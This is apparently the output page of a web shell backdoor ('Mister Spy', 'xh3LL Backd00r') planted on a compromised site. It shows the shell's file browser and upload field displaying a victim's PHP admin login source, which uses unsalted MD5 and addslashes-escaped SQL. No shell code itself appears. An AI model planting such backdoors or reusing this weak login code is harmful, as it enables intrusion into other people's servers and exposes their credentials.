Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/.trash/
Upload File :
Current File : /home/caballoscriollos/.trash/index.php

<?php 

require_once('../Connections/cnx.php');

// *** Validate request to login to this site.
  session_start();
// Deslogeo todos los posibles datos que traigo del front end...
  //session_destroy();
//---------------------------------------------------------------

$loginFormAction = $_SERVER['PHP_SELF'];
if (isset($accesscheck)) 
  $_SESSION['PrevUrl'] = $accesscheck;


if (isset($_POST['user'])) 
{
  $loginUsername=$_POST['user'];
  $password=md5($_POST['pass']);

   if($_POST['user']==$_POST['pass'])
	  $MM_redirectLoginSuccess = "cambiar_password_primer_ingreso.php";
   else
      $MM_redirectLoginSuccess = "sistema.php";
	  
  $MM_redirectLoginFailed = "index.php";
  $MM_redirecttoReferrer = false;
  mysql_select_db($database_cnx, $cnx);
  	
  $LoginRS__query=sprintf("SELECT cabania, cabaniaID FROM cabanias WHERE cabania='%s' AND clave_de_acceso='%s'",
  get_magic_quotes_gpc() ? $loginUsername : addslashes($loginUsername), get_magic_quotes_gpc() ? $password : addslashes($password)); 
   
  $LoginRS = mysql_query($LoginRS__query, $cnx) or die(mysql_error());
  $loginFoundUser = mysql_num_rows($LoginRS);
  
  if ($loginFoundUser) 
  {
    
	$loginStrid     = mysql_result($LoginRS,0,'cabaniaID');
	$loginStrGroup  = ""; //mysql_result($LoginRS,0,'nivel');
	
    //declare two session variables and assign them
    $_SESSION['MM_cabania']  = $loginUsername;
    $_SESSION['MM_cabaniaID'] = $loginStrid;
	
    header("Location: " . $MM_redirectLoginSuccess );
	exit();
  }else{
	header("Location: ". $MM_redirectLoginFailed );
	exit();
  }
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>.: Administraci&oacute;n :.</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="basico_backend.css" rel="stylesheet" type="text/css">
</head>

<body onLoad="javascript:document.loginfrm.user.focus();">
<p>&nbsp;</p>
<FORM action="<?php echo $loginFormAction; ?>" id=loginfrm name=loginfrm method=POST target="_top">
  <table width="250" border="0" align="center" cellpadding="5" cellspacing="0" class="bordeGris">
  <tr>
    <td><TABLE width="100%" border=0 
      align=center cellpadding="10" cellspacing="0" style="BORDER-COLLAPSE: collapse">

          <TBODY>
            <TR bgcolor="#FFFFFF">
              <TD align=middle bgcolor="#FFFFFF" class="bordeGris"><div align="center">
                  <table width="100%"  border="0" cellspacing="0" cellpadding="0">
                    <tr>
                      <td><div align="center"><img src="../espanol/_admin_/images/logo.jpg" width="100" height="100"><br>
                              <br>
                              <span class="tituloCategoriaMenu">SISTEMA DE ACTUALIZACI&Oacute;N DE CABA&Ntilde;AS</span></div></td>
                    </tr>
                    <tr>
                      <td height="30"><table width="100%"  border="0" cellpadding="0" cellspacing="0" id="linea">
                        <tr>
                          <td height="1" background="../espanol/images/linea_punteada_vertical.gif"><div align="center"></div></td>
                        </tr>
                      </table></td>
                    </tr>
                    
                    <tr>
                      <td><TABLE width="100%" border=0 
      align=center cellpadding="3" cellspacing="0" style="BORDER-COLLAPSE: collapse">
                          <TBODY>
                            <TR valign="middle">
                              <TD width="10">&nbsp;</TD>
                              <TD><div align="left"><strong>Nombre de Usuario:</strong></div></TD>
                              <TD width="10">&nbsp;</TD>
                            </TR>
                            <TR valign="middle">
                              <TD width="10">&nbsp;</TD>
                              <TD>
                                <div align="left">
                                  <INPUT name=user class="campoLogin" id=user6>
                              </div></TD>
                              <TD width="10">&nbsp;</TD>
                            </TR>
                            <TR valign="middle">
                              <TD width="10">&nbsp;</TD>
                              <TD><div align="left"><STRONG>Clave de Acceso:</STRONG></div></TD>
                              <TD width="10">&nbsp;</TD>
                            </TR>
                            <TR valign="middle">
                              <TD width="10">&nbsp;</TD>
                              <TD>
                                <div align="left">
                                  <input name="pass" type="password" class="campoLogin" id="pass6" value="">
                              </div></TD>
                              <TD width="10">&nbsp;</TD>
                            </TR>
                      </TABLE></td>
                    </tr>
                    <tr>
                      <td>&nbsp;</td>
                    </tr>
                  </table>
              </div></TD>
            </TR>
            <TR>
              <TD height="2" align=middle><div align="center"></div></TD>
            </TR>
      </TABLE>
        <table width="100%"  border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGrisFondo">
          <tr valign="middle">
            <td height="30"><div align="right">
                <input name="Submit2" type="submit" class="boton" value="Ingresar">
            </div></td>
            <td width="20">&nbsp;</td>
          </tr>
      </table></td>
  </tr>
</table>
</FORM>
<p>&nbsp;</p>
</body>
</html>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat